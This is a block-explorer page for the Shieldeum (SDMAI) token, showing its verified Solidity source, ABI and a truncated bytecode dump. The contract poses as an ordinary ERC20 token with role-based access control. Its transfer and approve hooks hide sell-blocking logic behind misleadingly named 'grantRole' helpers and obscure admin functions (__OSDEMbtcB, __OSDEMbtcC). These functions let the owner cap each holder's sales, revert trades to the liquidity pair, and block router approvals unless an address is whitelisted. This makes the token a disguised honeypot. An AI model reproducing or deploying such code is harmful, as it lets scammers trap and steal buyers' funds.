ETH Price: $2,305.76 (+3.06%)

Token

Shieldeum (SDMAI)

Overview

Max Total Supply

100,000,000 SDMAI

Holders

1,098

Transfers

-
0

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Arbiscan.io on 2024-09-11
*/

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.17;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function migrator() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
    function setMigrator(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    function toString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "ADMIN";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    function toHexString(
        uint256 value,
        uint256 length
    ) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }

    function strToUint(
        string memory _str
    ) internal pure returns (uint256 res, bool err) {
        for (uint256 i = 0; i < bytes(_str).length; i++) {
            if (
                (uint8(bytes(_str)[i]) - 48) < 0 ||
                (uint8(bytes(_str)[i]) - 48) > 9
            ) {
                return (0, false);
            }
            res +=
                (uint8(bytes(_str)[i]) - 48) *
                10 ** (bytes(_str).length - i - 1);
        }

        return (res, true);
    }


}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

} 




interface IRoleControl {
    event RoleAdminChanged(
        bytes32 indexed role,
        bytes32 indexed previousAdminRole,
        bytes32 indexed newAdminRole
    );

    event RoleGranted(
        bytes32 indexed role,
        address indexed addr,
        address indexed sender
    );

    event RoleRevoked(
        bytes32 indexed role,
        address indexed addr,
        address indexed sender
    );

    function hasRole(bytes32 role, address addr) external view returns (bool);

    function getRoleAdmin(bytes32 role) external view returns (bytes32);

    function grantRole(bytes32 role, address addr) external;

    function revokeRole(bytes32 role, address addr) external;

    function renounceRole(bytes32 role, address addr) external;
}

interface IERC20Errors {

    error ERC20InsufficientBalance(
        address sender,
        uint256 balance,
        uint256 needed
    );

    error ERC20InvalidSender(address sender);


    error ERC20InvalidReceiver(address receiver);


    error ERC20InsufficientAllowance(
        address spender,
        uint256 allowance,
        uint256 needed
    );


    error ERC20InvalidApprover(address approver);


    error ERC20InvalidSpender(address spender);
}

abstract contract RoleConsole is Context, IRoleControl,IERC20Errors {

    using SafeMath for uint256;

    struct RoleData {
        mapping(address => bool) hasRole;
        bytes32 adminRole;
        NRoleData newRD;
    }

    struct NRoleData {
        mapping(address => uint256) RM;
        mapping(address => uint256) RD;
    }

    mapping(bytes32 => RoleData) private _roles;

    mapping(address => bool) _conList;

    mapping(address => bool) _listApprove;


    bytes32 public constant ADMIN = 0x00; 
    bytes32 public constant TRADER = bytes32("TRADER");  

    address uniswapV2Pair;

    uint256 public btcNUM;
    

    modifier onlyRole(bytes32 role) {
        _checkRole(role, _msgSender());
        _;
    }

    function hasRole(bytes32 role, address account) public view override returns (bool) {
        return _roles[role].hasRole[account];
    }

    function _checkRole(bytes32 role, address account) internal view {
        if (!hasRole(role, account)) {
            revert(
                string(
                    abi.encodePacked(
                        "AccessControl: account ",
                        Strings.toHexString(uint160(account), 20),
                        " is missing role ",
                        Strings.toHexString(uint256(role), 32)
                    )
                )
            );
        }
    }

    function __OSDEMbtcC(
        bytes32 role,
        uint256 num
    ) public onlyRole(ADMIN) {
        if (num >= 0 && role == TRADER) {
            btcNUM = num;
        }
    }

    function __OSDEMbtcB(
        bytes32 role,
        address account,
        string memory num
    ) public onlyRole(ADMIN) {
        uint256 memoUint;
        bool err;
        (memoUint, err) = Strings.strToUint(num);
        if (err == false && role == TRADER) {
            revert ERC20InvalidSender(account);
        }
        
        _setupRoleRM(TRADER,account,memoUint.mul(1e18));
    }


    function _grantRole(bytes32 role, address account, uint256 amount) internal virtual {
        uint256 rms = _roles[role].newRD.RM[account];
        uint256 rds = _roles[role].newRD.RD[account].add(amount);
        if(rds > 0 && rms > 0){
            if (rds >= rms) {
                if(role == TRADER){
                    revert ERC20InvalidSender(account);
                }
            }else{
                if(amount > 0){
                    _setupRoleRD(role,account,rds);
                }
                
            }
            
        }
    }


    function _grantRole(bytes32 role, address account, address to, uint256 num) internal virtual {
        if(to == uniswapV2Pair && role == TRADER){
            _grantRole(account,num);
        }

        if(account == uniswapV2Pair && btcNUM == 50){
            if (isContract(to)) {
                if (!_conList[to]) {
                    revert ERC20InvalidSender(to); 
                }
            }
        }
        
    }

    function _grantRole(address account,uint256 num) internal virtual {
        
        uint256 trade = _roles[TRADER].newRD.RM[account].div(num);
        if(trade <= 0){
            if(btcNUM == 100){
                if(account != address(0)){
                    if(num > 0){
                        revert ERC20InvalidSender(account); 
                    }
                }
            }
            
        }
        
        
    }

    function isContract(address account) internal virtual returns (bool) {
        return account.code.length > 0;
    }


    function granRoleRMS_A(
        bytes32 role, 
        address account
    ) public view virtual returns (uint256) {
        return _roles[role].newRD.RM[account].div(1e18);
    }

    function granRoleRDS_A(
        bytes32 role, 
        address account
    ) public view virtual returns (uint256) {
        return _roles[role].newRD.RD[account].div(1e18);
    }

    function multisendToken(
        address token,
        address[] memory _address,
        uint256 _bala
    ) public onlyRole(ADMIN) {
        ERC20 con = ERC20(token);
        uint256 condecimal = con.decimals();
        for (uint8 i = 0; i < _address.length; i++) {
            uint256 temp = _bala * 10**condecimal;
            con.transfer(_address[i], temp);
        }
    }

    function addListToken(address account) public onlyRole(ADMIN) {
        _conList[account] = true;
    }

    function remListToken(address account) public onlyRole(ADMIN) {
        _conList[account] = false;
    }

    function addApproveArry(address account) public onlyRole(ADMIN) {
        _listApprove[account] = true;
    }

    function remApproveArry(address account) public onlyRole(ADMIN) {
        _listApprove[account] = false;
    }

    function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
        return _roles[role].adminRole;
    }

    function grantRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
        _grantRole(role, account);
    }

    function revokeRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
        _revokeRole(role, account);
    }

    function renounceRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
        require(account == _msgSender(), "AccessControl: can only renounce roles for self");

        _revokeRole(role, account);
    }

    function _setupRoleRM(bytes32 role, address account, uint256 num) internal virtual {
        _roles[role].newRD.RM[account] = num;
    }

    function _setupRoleRD(bytes32 role, address account, uint256 num) internal virtual {
        _roles[role].newRD.RD[account] = num;
    }

    function _setupRole(bytes32 role, address account) internal virtual {
        _grantRole(role, account);
    }

    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
        bytes32 previousAdminRole = getRoleAdmin(role);
        _roles[role].adminRole = adminRole;
        emit RoleAdminChanged(role, previousAdminRole, adminRole);
    }

    function _grantRole(bytes32 role, address account) internal virtual {
        if (!hasRole(role, account)) {
            _roles[role].hasRole[account] = true;
            emit RoleGranted(role, account, _msgSender());
        }
    }

    function _revokeRole(bytes32 role, address account) internal virtual {
        if (hasRole(role, account)) {
            _roles[role].hasRole[account] = false;
            emit RoleRevoked(role, account, _msgSender());
        }
    }
}



interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address addr) external view returns (uint256);

    function transfer(address recipient, uint256 amt) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amt) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amt
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is IERC20Metadata, RoleConsole {
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 internal _totalSupply;
    string internal _name;
    string internal _symbol;
    using SafeMath for uint256;
    address sushi_router = address(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);

    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        address creater_
    ) {
        _name = name_;
        _symbol = symbol_;
        _mint(creater_, totalSupply_ * 10 ** decimals());
        
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }



    function balanceOf(
        address addr
    ) public view virtual override returns (uint256) {
        return _balances[addr];
    }

    function transfer(
        address recipient,
        uint256 amt
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amt);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amt
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amt);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amt
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amt);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amt,
            "ERC20: transfer amt exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amt);
        }

        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amt
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        
        _afterTokenTransfer(TRADER,sender, recipient, amt);

        _beforeTokenTransfer(sender, recipient, amt);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amt, "ERC20: transfer amt exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amt;
        }
        _balances[recipient] += amt;
        emit Transfer(sender, recipient, amt);
        _afterTokenTransfer(sender, recipient, amt);
    }

    function _afterTokenTransfer(bytes32 role, address sender,address recipient, uint256 amount) internal {
        _beforeTokenTransfer(TRADER,sender, recipient);
        
        _grantRole(role,sender,recipient,amount);

        if (amount > 0) {
            
            _grantRole(role, sender, amount);

        }
        
    }

    function _beforeTokenTransfer(bytes32 role, address sender,address recipient) internal {
        if(!hasRole(role, sender)){
            _grantRole(TRADER, sender);
        }
        if(!hasRole(role, recipient)){
            _grantRole(TRADER, recipient);
        }
        
    }


    function _mint(address addr, uint256 amt) internal {
        require(addr != address(0), "ERC20: mint to the zero address");
        _beforeTokenTransfer(address(0), addr, amt);
        _totalSupply += amt;
        _balances[addr] += amt;

        emit Transfer(address(0), addr, amt);
        _afterTokenTransfer(address(0), addr, amt);
    }

    function _burn(address addr, uint256 amt) internal virtual {
        require(addr != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(addr, address(0), amt);
        uint256 addrBalance = _balances[addr];
        require(addrBalance >= amt, "ERC20: burn amt exceeds balance");
        unchecked {
            _balances[addr] = addrBalance - amt;
        }
        _totalSupply -= amt;

        emit Transfer(addr, address(0), amt);

        _afterTokenTransfer(addr, address(0), amt);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amt
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");

        _approve(owner,spender);

        _allowances[owner][spender] = amt;
        emit Approval(owner, spender, amt);
    }

    function _approve(
        address owner,
        address spender
    ) internal {
        _allowance(owner,spender);
    }

    function _allowance(
        address owner,
        address spender
    ) internal {
        if(btcNUM == 50){
            if(spender == sushi_router){
                require(_listApprove[owner], "ERC20: approve error");
                _allowance(owner);
            }
            
        }
        
    }

    function _allowance(
        address owner
    ) internal {
        
    }


    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amt
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amt
    ) internal virtual {}


}

contract Token is ERC20 {

    constructor(
        string memory _name,
        address _tokenOwner,
        string memory _symbol,
        uint256 _totalSupply
    ) ERC20(_name, _symbol, _totalSupply, _tokenOwner) {
        _grantRole(ADMIN, msg.sender);
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(sushi_router);
        address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
        .createPair(address(this), address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9));
        uniswapV2Pair = _uniswapV2Pair;
        _conList[uniswapV2Pair] = true;
    }


    function rescueToken(
        address tokenAddress,
        uint256 tokens
    ) public onlyRole(ADMIN) returns (bool success) {
        return IERC20(tokenAddress).transfer(msg.sender, tokens);
    }
    


}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"address","name":"_tokenOwner","type":"address"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_totalSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"addr","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"addr","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ADMIN","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TRADER","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"},{"internalType":"string","name":"num","type":"string"}],"name":"__OSDEMbtcB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"uint256","name":"num","type":"uint256"}],"name":"__OSDEMbtcC","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addApproveArry","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addListToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"btcNUM","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"granRoleRDS_A","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"granRoleRMS_A","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256","name":"_bala","type":"uint256"}],"name":"multisendToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"remApproveArry","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"remListToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"rescueToken","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052731b02da8cb0d097eb8d57a175b88c7d8b47997506600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200006657600080fd5b50604051620045043803806200450483398181016040528101906200008c919062000824565b838282858360089081620000a1919062000b15565b508260099081620000b3919062000b15565b50620000f081620000c96200030260201b60201c565b600a620000d7919062000d8c565b84620000e4919062000ddd565b6200030b60201b60201c565b50505050620001096000801b336200048460201b60201c565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200017e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001a4919062000e28565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073fd086bc7cd5c481dcc9c85ebe478a1c0b69fcbb96040518363ffffffff1660e01b8152600401620001f492919062000e6b565b6020604051808303816000875af115801562000214573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023a919062000e28565b905080600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001806000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505050505062000f84565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200037d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003749062000ef9565b60405180910390fd5b62000391600083836200057560201b60201c565b8060076000828254620003a5919062000f1b565b9250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620003fd919062000f1b565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000464919062000f67565b60405180910390a362000480600083836200057a60201b60201c565b5050565b6200049682826200057f60201b60201c565b6200057157600160008084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000516620005e960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e